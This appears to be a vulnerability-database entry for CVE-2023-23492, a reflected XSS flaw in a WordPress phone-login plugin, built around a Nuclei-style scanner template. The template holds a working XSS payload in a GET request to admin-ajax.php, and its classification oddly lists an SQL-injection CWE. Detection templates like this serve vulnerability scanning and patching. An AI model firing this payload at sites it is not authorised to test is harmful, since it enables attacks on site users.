CVE-2023-23492: Login with Phone Number - Cross-Site Scripting

2025-08-01 Login with Phone Number PoC Public

Description

Login with Phone Number, versions < 1.4.2, is affected by an reflected XSS vulnerability in the login-with-phonenumber.php' file in the 'lwp_forgot_password()' function.

PoC

id: CVE-2023-23492

info:
  name: Login with Phone Number - Cross-Site Scripting
  author: r3Y3r53
  severity: high
  description: |
    Login with Phone Number, versions < 1.4.2, is affected by an reflected XSS vulnerability in the login-with-phonenumber.php' file in the 'lwp_forgot_password()' function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the theft of sensitive user information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/login-with-phone-number/
    - https://www.tenable.com/security/research/tra-2023-3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23492
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-23492
    cwe-id: CWE-89
    epss-score: 0.57123
    epss-percentile: 0.9902
    cpe: cpe:2.3:a:idehweb:login_with_phone_number:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idehweb
    product: login_with_phone_number
    framework: wordpress
  tags: cve2023,cve,login-with-phonenumber,wordpress,wp,wp-plugin,xss,tenable,idehweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>'
          - 'message":"Update password'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d8902e8da156fbd4f9ed14cae96b0bc63f811b4f7b20ee160b75215d9c050cda0220343e44e09db1e3c79f5fb3914d7800593028d3d9a83d7b3f4145bb3fc4cba965:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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